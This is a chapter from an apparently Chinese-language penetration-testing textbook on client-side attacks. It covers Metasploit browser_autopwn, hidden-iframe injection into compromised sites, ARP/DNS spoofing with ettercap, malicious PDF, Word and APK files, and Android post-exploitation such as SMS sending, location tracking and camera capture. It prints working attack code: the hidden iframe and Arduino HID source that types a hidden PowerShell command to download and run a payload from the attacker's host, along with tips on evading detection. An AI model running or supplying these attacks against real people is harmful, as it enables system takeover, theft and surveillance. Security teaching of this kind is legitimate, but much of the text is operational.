第 7 章 客户端渗透

在前面的章节中,我们讨论了代码编写和不同环境下的渗透测试。而在本章及后续章节中,我们将详细介绍客户端渗透。

本章将着眼于以下几个要点。

基于客户端的渗透攻击需要得到目标用户的配合才能成功。这些配合包括访问恶意网址、打开或执行一个文件,等等。这意味着我们需要得到被害者的配合才能成功地渗透进入他们的系统。因此,被害者的配合是基于客户端的渗透攻击的一个关键因素。

客户端系统可能运行着多种不同的应用程序。这些应用程序(比如PDF阅读器、文字处理软件、媒体播放器以及各种类型的Web浏览器)都是系统中的基本软件。本章将发掘各种应用程序的缺陷,这些缺陷可能导致整个系统被渗透。我们还可以将被渗透的系统作为跳板来测试整个内部网络。

首先,介绍一下客户端渗透攻击的多种技术和影响客户端渗透能否成功的因素。

Web浏览器主要用于网上冲浪。然而,一个过时的Web浏览器却可能导致整个系统被渗透。用户通常不会使用系统预装的Web浏览器,而是会按照自己的喜好来自行选择。但是,默认的预装Web浏览器仍然可能导致系统遭受各种攻击。基于浏览器的渗透攻击就是要利用浏览器的漏洞进行渗透。

 有关基于Firefox的漏洞的信息,请访问http://www.cvedetails.com/product/3264/Mozilla-Firefox.html?vendor-id=452

有关基于IE的漏洞的信息,请访问http://www.cvedetails.com/product/9900/Microsoft-Internet-Explorer.html?vendor_id=26

Metasploit中提供了一个browser autopwn模块,这是一个可以用来对各种浏览器进行测试和渗透的自动化攻击向量。如果想要细致地了解这个模块的工作原理,我们先来讨论一下这次攻击中使用的技术原理。

  1. browser autopwn攻击的原理

    autopwn指的是自动对目标进行渗透。autopwn模块在配置了所有要使用的浏览器渗透脚本后,将处于监听模式下。然后,它便等待着一个即将到来的连接。一旦连接建立,它就会发送一系列与目标浏览器相匹配的渗透模块,具体发送哪个模块要取决于受害者的浏览器类型。无论目标系统上运行着什么浏览器,只要存在漏洞,autopwn模块就能自动发起攻击。

    通过下面的图来了解一下这个攻击向量的工作原理。

    在前面的这个场景中,一个用来渗透的服务器上运行着大量的基于浏览器的渗透模块,同时也运行着它们所对应的handler。现在一旦有受害者的浏览器连接到了渗透服务器上,该服务器将会检查浏览器的类型并找出对应该浏览器的渗透模块。在上面的图中,可以看到受害者使用的是IE,因此与IE相匹配的渗透模块将会被发送到受害者的浏览器中以获得目标的控制权。渗透模块成功执行后将会返回一个到handler的连接,攻击者将会获得目标的shell或者Meterpreter控制权限。

  2. 使用Metasploit的browser_autopwn模块进行浏览器攻击

    使用Metasploit中的browser_autopwn模块进行一次针对浏览器的渗透攻击,过程如下图所示。

    由上图可知,我们已经成功地在Metasploit中载入了auxiliary/server/中的browser_autopwn2模块。为了发起这次攻击,需要指定LHOSTURIPATHSRVPORT参数。SRVPORT参数指定了渗透服务器使用的端口。我建议使用端口80或者端口443,因为使用其他端口可能会引起别人的注意,而且看起来就有些不正常。URIPATH是存储各种渗透模块的目录路径,它的值应该被指定为/,表示根目录。在设定好所有所需的参数之后,就可以如下图所示启动模块。

    启动browser_autopwn模块之后就会建立一个浏览器渗透服务器,它会开始监听状态,等待到来的连接,过程如下图所示。

    现在任何一个连接到我们系统的80端口上的目标都会遭到一个基于它所使用的浏览器的渗透攻击。下面分析一下受害者是如何连接到渗透服务器的。

    当有受害者访问我们的IP地址时,browser_autopwn模块就会向其发送各种漏洞模块,直到获得Meterpreter控制权限为止,如下图所示。

    browser_autopwn模块允许我们使用各种漏洞检测模块对受害者的浏览器进行测试和渗透。不过这种客户端渗透可能会引起服务中断,因此最好事先获得客户的许可。在下一节中,我们将看到一个模块(比如browser_autopwn)是如何对多个目标进行渗透的。

在这一节中,我们来尝试将这次普通的攻击转化为威胁性更大的攻击。

正如上一节演示的一样,向目标发送一个IP地址可能会引起注意,受害者可能会对你发送的IP地址产生怀疑。不过如果你用域名地址取代IP地址发送给受害者,就会有更大的概率蒙骗受害者,从而提高渗透的成功率。

  1. 注入恶意网页脚本

    一个有漏洞的网站可以成为browser autopwn服务器的傀儡。攻击者如果在有漏洞的网站中嵌入隐藏的iFrame,那么访问这个网站的所有系统都会遭受来自browser autopwn服务器的攻击。因此,每当有人访问这个被注入的页面时,browser autopwn渗透服务器就会对浏览器进行各种漏洞的测试。在大多数情况下,还会利用找到的漏洞进行渗透。

    我们可以使用iFrame注入实现对网站用户的大规模入侵。下一节将会讲解攻击的具体细节。

  2. 攻击网站的用户

    下图讲解了如何实现对网站用户的入侵。

    上图非常清楚地说明了这个过程,现在来了解具体的实现过程。这次攻击最重要的步骤就是获取一个存在漏洞的服务器的控制权限。下图给出了一个关于恶意脚本注入的详细示例。

    这里使用一个存在漏洞的Web网站作为示例,我们可以利用这个漏洞向网站上传一个基于第三方Web命令行的PHP文件。为了执行这次攻击,需要在index.php或者选中的其他页面中添加如下代码:

    <iframe src="http://192.168.10.107:80/" width=0 height=0 style="hidden"
    frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

    每当有受害者访问网站时,上面的代码就会自动加载iFrame中的恶意browser autopwn。由于这段代码包含了一个iframe标签,它将从攻击者的系统中自动加载browser autopwn。我们需要保存这个文件,并允许用户对网站进行访问。

    受害者一旦访问了这个网页,browser autopwn将会自动在受害者的计算机上运行。我们必须确保browser_autopwn模块正常运行;如果browser_autopwn模块没有运行,可以使用如下命令来启动它。

    如果一切顺利,我们将会获得在目标系统上运行的Meterpreter。这种渗透思路是使用目标网站引诱最大数量的受害者,并进入到他们的系统中。在进行白盒测试时,这种方法非常有用,渗透的目标就是内部网络服务器的用户。让我们来看看当受害者浏览恶意网站时会发生什么。

    可以看到,这里的调用是由192.168.10.107发起的,这个IP地址其实就是我们的browser autopwn服务器。让我们从攻击者的角度来看看这个过程。

    整个渗透过程正在顺利地进行。当渗透成功之后,Meterpreter访问权限就会显示在我们面前。

我们希望将对受害者系统的所有攻击被发现的概率降到最小,并尽可能不引起受害者的注意。

现在我们已经看到了一个传统的browser autopwn攻击以及改进后针对网站用户的攻击。这里我们受到了一个约束,那就是必须要通过某种方式将陷阱链接发送给受害者。

在这次攻击中,我们仍然使用Metasploit中的browser_autopwn模块来攻击受害者,但是使用另一种方式——不再向受害者发送任何链接,而是等待他们去浏览自己喜欢的网站。

这种攻击只能在局域网环境中使用。因为若想采用这种方式,首先需要执行ARP欺骗。ARP工作在协议层的第二层,只在同一个广播域下工作。但如果可以通过某种方式来修改远程受害者主机的host文件,我们就可以不用考虑这个范围的限制,这通常被称为一个域欺骗攻击

  1. 使用DNS劫持欺骗受害者

    让我们开始吧!首先对受害者发起一个ARP毒化攻击,并执行DNS查询欺骗。因此,如果受害者试图打开一个常用的网站主页,例如当前使用人数最多的http://google.com,结果却是打开了我们设置的browser autopwn服务的陷阱主页,进而使得他的系统遭到了来自陷阱网站的攻击。

    我们需要首先创建一个DNS毒化列表,这样当受害者输入一个域名试图打开对应网站的时候,本来域名http://www.google.com所指向的IP地址就会被替换为陷阱网站的IP地址。这些伪造的DNS条目保存在下列文件里。

    在这个例子中,我们使用当前最为流行的ARP毒化工具集合,那就是ettercap。首先,找到这个文件并创造一个伪造的DNS列表。这一点是非常重要的,因为当受害者在试图打开某一个指定网站的时候,该域名本来对应的正确IP会被我们修改的伪造IP所代替。为了实现这一点,需要修改etter.dns文件中的列表,具体过程如下面的屏幕截图所示。

    我们需要在本节中对列表中的内容做以下修改。

    当受害者发出一个关于域名http://google.com的DNS请求时,这个列表就会把攻击者计算机的IP地址作为响应发送给他。当创建完列表之后,保存这个文件并且使用命令的方式打开ettercap。这个过程如下图所示。

    这个命令将可以以图形化界面的形式启动ettercap,启动的界面如下图所示。

    下一个步骤是选中Sniff选项卡中的Unifed sniffng选项,然后选择接口eth0作为默认接口,如下面的屏幕截图所示。

    接下来要对目标网络范围内的IP地址进行扫描,以此来验证哪些主机处于在线状态。受害者的主机和网关应该也在这些主机范围内,如下面的屏幕截图所示。

    所有地址范围内的主机,都会被扫描并根据其在线状态进行过滤。这样所有网络中在线的主机信息都会按照下图所示添加到主机列表中。

    我们需要导航到Hosts选项卡,然后选择Host List,这样才能打开主机列表,如下面的屏幕截图所示。

    接下来需要将网关的地址添加到目标2,并将受害者的地址添加到目标1。我们以后就将网关看作目标2,将受害者的计算机看作目标1。因为我们需要截获受害者发往网关的通信。

    接着,查看MITM选项卡,然后在其中选择ARP Poisoning,如下面的屏幕截图所示。

    接下来,单击OK后继续下一步,即浏览到Start选项卡,然后选择Start Sniffing。单击Start Sniffing选项,这时将会输出一个Starting Unifed sniffng的提示信息,如下图所示。

    接下来我们要激活DNS欺骗插件程序,激活的步骤是从Plugins选项卡中选择Manage the plugins,如下面的屏幕截图所示。

    双击DNS spoof plug-in以激活DNS欺骗。这个插件被激活之后将会发送伪造的DNS数据,这些数据是我们之前在文件etter.dns中修改过的。因此无论何时,只要受害者发送某个特定网站域名的DNS请求,攻击就会伪造一个响应,使用etter.DNS文件中假冒的DNS条目来代替真实的条目。这个假冒的DNS条目指向设置了browser autopwn服务的主机的IP。因此,受害者并没有进入自己原计划的网站,而是进入了运行着browser autopwn服务的那个陷阱网站。

    接下来在80端口启动陷阱网站。

    现在来看看当受害者试图打开http://google.com/时都发生了什么。

    同时也从攻击者的角度看一下是否获取了一些有趣的东西。

    看起来不错吧!我们得到了在目标后台打开的Meterpreter连接,这意味着成功获取了受害者的管理权限。但是在整个过程中,我们并没有向受害者发送任何链接,这正是这种攻击方法的最大优势,在因为我们毒化了本地网络的DNS条目。然而,如果想在一个广域网中实现这种攻击,就需要修改受害者的主机文件。这样当受害者试图访问一条指定的URL时,篡改过的主机文件条目将会将这个URL定向到那个恶意autopwn服务器上。这个过程如下面的屏幕截图所示。

    还有许多其他技术可以与Metasploit的攻击技术结合使用,从而创造出更高级的攻击手段。

  2. 使用Kali NetHunter实现浏览器渗透

    之前已经演示了如何对位于同一子网内的设备进行DNS查询欺骗。现在我们使用安装有NetHunter系统的Android设备来完成这个任务。为了避免被受害者发现,我们不再像前面的例子中那样使用像谷歌之类的指定页面。在这次的攻击中,我们将会使用Kali NetHunter中的cSploit工具,对目标所浏览的所有页面进行脚本注入攻击。首先先来了解一下cSploit的工作界面。

    这里假定我们的目标是DESKTOP-PESQ21S。点击它就可以打开一个子菜单,里面列出了所有的选项。

    在这个菜单中选中MITM,然后依次在后面出现的界面中选中Script Injection和CUSTOM CODE,最后修改的内容如下图所示。

    这里我们选择使用自行编写脚本的方式进行攻击,但实际上只对默认的脚本做一点修改。接下来要做的就是将写好的脚本注入到目标浏览的任何网页中去。好了,现在只需要单击OK就可以启动这次攻击了。每当受害者打开一个新的页面,他都会看到如下所示的弹出框。

    这次攻击显然成功了,但是仍有待完善。例如,我们可以创建一些带有浏览器自动攻击服务的JavaScript代码,不过我打算留给你们自行完成。当你们在创建JavaScript代码的时候,会接触到更多的技术,例如基于JavaScript的cookie记录器。好了,当目标系统运行了带有浏览器自动攻击服务的JavaScript代码之后,我们就会看到如下图所示的输出。

    够神奇吧?NetHunter和cSploit掌控了一切。如果由于某些原因导致你不能创建JavaScript代码的话,你还可以考虑利用Redirect功能将目标引向一个错误的地址,这个过程如下图所示。

    单击OK按钮之后,无论目标在浏览器中输入什么地址,他所看到的页面都将是我们构造的自动渗透服务器上8080端口提供的主页。

基于Arduino的微控制器板是一种体积很小但功能极为强大的硬件,可以成为渗透测试中的一款“致命”武器。有一些Arduino板还支持键盘和鼠标库,这意味着它们可以成为HID设备。

因此这些体积很小的Arduino板就可以悄悄地执行人类行为,例如敲击键盘、移动和点击鼠标以及各种其他行为。在本节中,我们将一个Arduino Pro微板模拟成键盘,然后从远程站点下载并执行恶意攻击载荷。不过需要注意的是,这些微板上没有足够的存储空间,所以必须从远程下载攻击载荷。

 如果想要使用HID设备进行渗透测试,也可以考虑使用USB Rubber Ducky或Teensy。

你可以在一些很受欢迎的购物网站(如Aliexpress.com等)上可以用不到4美元购买到Arduino Pro微板。所以,比起Teensy和USB Rubber Ducky,Arduino Pro微板可便宜多了。

使用编译软件对Arduino进行配置也并不困难。如果你已经具备了一些编程经验的话,会发现这个练习十分容易。

 如果想获取关于设置和启动Arduino的更多信息,请访问地址https://www.rduino.cc/en/Guide/Windows

下面是需要烧录到Arduino芯片上的代码:

#include<Keyboard.h>
void setup() {
delay(2000);
type(KEY_LEFT_GUI,false);
type('d',false);
Keyboard.releaseAll();
delay(500);
type(KEY_LEFT_GUI,false);
type('r',false);
delay(500);
Keyboard.releaseAll();
delay(1000);
print(F("powershell -windowstyle hidden (new-object
System.Net.WebClient).DownloadFile('http://192.168.10.107/pay2.exe','%TEMP%
\\mal.exe'); Start-Process "%TEMP%\\mal.exe""));
delay(1000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
Keyboard.end();
}
void type(int key, boolean release) {
 Keyboard.press(key);
 if(release)
  Keyboard.release(key);
}
void print(const __FlashStringHelper *value) {
 Keyboard.print(value);
}
void loop(){}

这段代码中有一个名为type的函数,这个函数需要两个参数,一个为要按下或者释放的键的名称,另一个为是否需要释放这个键。接下来出现的函数是print,它将替换默认的print打印函数,利用keyboard库的press()函数直接输出文本。Arduino有两个主要函数,分别是loopsetup。因为这里只需下载和执行一次攻击载荷,所以将所有代码都放置在了setup函数中。当需要重复执行指令的时候,才会使用到loop函数。delay函数和sleep函数功能相同,都是让程序在指定时间内(单位为毫秒)暂停执行。type(KEY_LEFT_GUI, false);语句表示要按下目标系统键盘左侧的win键且一直保持按下的状态,所以我们要将false作为释放的参数。接下来使用相同的方法按下d键。现在我们已经按下了两个键,即Windows + d键(显示桌面操作的快捷键)。当我们执行Keyboard.releaseAll()函数时,目标系统就会执行Windows+d命令,从而将桌面上的所有窗口最小化。

 可以访问https://www.arduino.cc/en/Reference/KeyboardModifier获取更多关于Arduino的keyboard库的信息。

通过同样的方法使用下一个组合键来显示运行命令框。在运行命令框中输入PowerShell命令,从远程站点下载攻击载荷,也就是192.168.10.107/pay2.exe。然后将这个攻击载荷保存在Temp文件夹中,并从这里执行。输入命令后,需要按回车键来执行这个命令。这一点可以通过将KEY_RETURN作为按键值传递给函数来实现。下面来看看如何对Arduino板实现写入操作。

如上图所示,单击菜单栏上的Tools选项,选择我们使用的Arduino板类型,然后再选择和Arduino板通信的端口。

接下来按下→按钮,就可以将程序写到Arduino板上。

现在的Arduino已经做好插入受害者系统的准备了,更棒的是它还将自己伪装成了一个键盘,因此你无须担心被发现。不过你的攻击载荷必须经过充分的处理,才能逃过杀毒软件的检查。

然后像下图般插入Arduino设备。

插入设备之后的短短几毫秒内,攻击载荷就已下载完毕,并在目标系统执行。然后就可以查看到如下图所示的信息。

下面来看看如何生成攻击载荷。

我们已经生成了一个适用于64位Windows操作系统的Meterpreter攻击载荷,它将会主动回连到我们系统的5555端口。将这个攻击载荷保存在Apache文件夹内,并如上图所示启动Apache。接下来只需启动渗透模块的handler来监听到达5555端口的连接即可,这个过程如下图所示。

在这里我们见识到了一种全新的攻击手段——只需要一个廉价的微控制器,就可以获得一个Windows 10系统的控制权限。Arduino是一种很有趣的工具,我也建议你去阅读一些关于Arduino、USB Rubber Ducky、Teensy和Kali Net Hunter等工具的资料。你可以在任何的Android手机使用Kali Net Hunter来效仿同样的攻击手段。

 有关Teensy的更多信息,请访问https://www.pjrc.com/teensy/

有关USB Rubber Ducky的更多信息,请访问http://hakshop.myshopify.com/products/usb-rubber-ducky-deluxe

这一节将会涵盖对受害者基于各种文件格式的渗透攻击。一旦执行这个恶意文件,它就会向我们提供一个目标系统的Meterpreter或者shell控制权限。在下一节中,我们将会讲解如何使用恶意文档和PDF文件对目标进行渗透。

基于PDF文件格式的渗透模块会触发各种PDF阅读器和解析器的漏洞。当这些包含攻击载荷的PDF文件执行时,就会向攻击者提供一个Meterpreter或者命令行控制权限。但是在动手实现这种攻击之前,先来查看一下渗透要利用的相关漏洞以及环境的细节。

测试案例

描述

漏洞

这个模块利用了Nitro和Nitro Pro PDF Reader 11中的漏洞,该漏洞是由于引用了不安全的JavaScript API造成的。JavaScript API中的saveAs()函数允许攻击者将任意文件写入文件系统中,而launchurl()函数则允许攻击者在文件系统上执行本地文件,并绕过安全对话

目标渗透系统

Windows 10

软件版本

Nitro Pro 11.0.3.173

CVE信息

https://www.cvedetails.com/cve/CVE-2017-7442/

渗透模块的细节

exploit/windows/fileformat/nitro_reader_jsapi

为了能通过这个漏洞进行渗透攻击,首先创建一个恶意PDF文件,然后将这个文件发送给受害者。当受害者试图打开这个恶意PDF文件时,我们就可以获得一个设定好的攻击载荷模块所提供的Meterpreter控制行或者命令行。接下来尝试构建一个恶意PDF文件。

接下来需要将参数LHOST设置为我们使用主机的IP地址。另外,我们可以自行设置LPORTSRVPORT的值。鉴于本实验是出于验证的目的,SRVPORT端口的值仍然使用默认值8080,LPORT的值设置为4444。按照如下所示运行这个模块。

接下来我们可以使用各种手段将这个msf.pdf文件发送给受害者,例如将文件上传到网站,然后将这个链接发送给受害者,或者将文件放在USB存储设备上,再或者将其制作成一个压缩文件,然后通过电子邮件传播。不过这里出于演示的目的,我们将这个文件上传到Apache服务器上。一旦受害者下载并运行了这个文件,他就会看到如下所示的界面。

大概几分之一秒之后,这个重叠的窗口就会消失,从此我们就会获得目标系统的一个Meterpreter控制权限。这个过程如下图所示。

基于Word的渗透模块主要是依靠各种可以在Microsoft Word中加载的文件格式,其中一些格式的文件可以执行恶意代码并使得攻击者获得目标系统的管理权限。在这里可以利用与之前PDF文件渗透中相同的方法。让我们快速查看一下关于该漏洞的描述。

测试用例

描述

漏洞

这个模块会创建一个恶意的RTF文件,当在一个存在漏洞的Microsoft Word版本中打开这个文件之后,就会导致恶意代码执行。此漏洞的成因主要是Word在处理内嵌OLE2LINK对象时,通过网络更新对象时没有正确处理,从而导致HTA代码执行的一个逻辑漏洞

渗透软件所在的系统

Windows 7 32位

测试所使用的软件

Microsoft Word 2013

CVE信息

https://www.cvedetails.com/cve/cve-2017-0199

渗透模块的细节

exploit/windows/fileformat/office_word_hta

尝试利用这个漏洞来获取目标系统的控制权限。因此,首先启动Metasploit,并按照如下屏幕截图所示创建一个文件。

接下来需要将参数FILENAME的值设置为Report.doc,将参数SRVHOST的值设置为我们使用主机的IP地址,如下图所示。

产生的文件被保存在/root/.msf4/local/Report.doc中,我们可以将其移动到Apache的htdocs文件夹中。

接下来我们可以使用各种手段将这个Report.doc文件发送给受害者,例如将文件上传到网站,然后将这个链接发送给受害者,或者将文件放在USB存储设备上,再或者将其制作成一个压缩文件,然后通过电子邮件传播。不过这里出于演示的目的,我们将这个文件上传到Apache服务器上。一旦受害者下载并运行了这个文件,就会看到如下所示的界面。

下面打开这个文件并观察接下来都发生了什么。

表面上看起来好像什么都没有发生。现在我们返回到Metasploit控制台,看看是否得到了目标的控制权限。

太棒了,我们现在已经轻松获得了目标系统的控制权限。在这个演示中,创建一个恶意的Word文档,以此获得目标主机的访问权限是一件很轻松的事情。不过等等,真的这么容易吗?当然不是,这里我们并没有考虑到目标系统上的安全机制。在现实场景中,我们经常会遇见杀毒软件和防火墙,这些安全机制将会毁掉我们的入侵企图。在下一章我们将会研究如何解决这些问题。

可以创建一个新的APK文件,也可以将攻击载荷注入到一个现有的APK文件来攻击Android平台。我们采用第一种方法。首先使用如下图所示的msfvenom命令来创建一个APK文件。

成功创建APK文件之后,我们需要欺骗受害者(使用社会工程学)去安装这个APK文件,或者真的去接触这个电话。下面来看看当受害者下载了这个恶意的APK文件之后都会发生什么。

下载完成之后,用户就可以安装这个文件了,过程如下图所示。

绝大多数人都不会注意应用程序在安装时所要求的权限。因此,攻击者可以获得手机的全部权限并偷走用户的个人隐私数据。上面的截图列出了一个应用程序正常运行所需的权限。当安装成功之后,攻击者就可以获得目标手机的完全控制权限。

怎么样,我们是不是轻松获取了目标系统的Meterpreter控制权限?下一章将会详细介绍后渗透模块,现在先来看一些它的基本功能。

可以使用check_root命令检查目标设备是否已经进行了root操作。下面来看看其他函数。

使用send_sms命令可以从被渗透的手机向任意号码发送短信,下面来看看短信是否发送成功。

干得漂亮!短信已经成功发送。接下来就让我们使用sysinfo命令来查看一下这台“猎物”的信息吧。

接下来对这部手机进行定位。

通过从谷歌地图上查看这个坐标,可以找到这部手机所在的精确位置。

然后使用被渗透手机的摄像头来拍几张照片看看:

可以通过摄像机看到如下图片。

在本章中我们动手实践了一种客户端渗透攻击。使用客户端攻击会使一个处于网络内部的渗透测试工程师的审计工作变得十分轻松。在网络内部攻击比外部攻击更为有效的情形下,也可以减轻测试工程师的工作强度。

本章还讲解了各种攻击基于客户端的系统的技术。我们学习了基于浏览器的渗透方法及其延伸方法,使用Arduino对基于Windows的系统进行了渗透,了解了如何创建各种文件格式的渗透模块及如何使用Metasploit进行DNS欺骗攻击。最后,还学习了如何对基于Linux的客户端进行渗透,以及如何对Android设备进行渗透。

你也可以自行完成下面这些练习以提高你的能力。

在下一章中,我们将详细研究后渗透测试。我们将介绍一些高级的后渗透测试模块,利用它们可以收集更多关于目标系统的有用信息。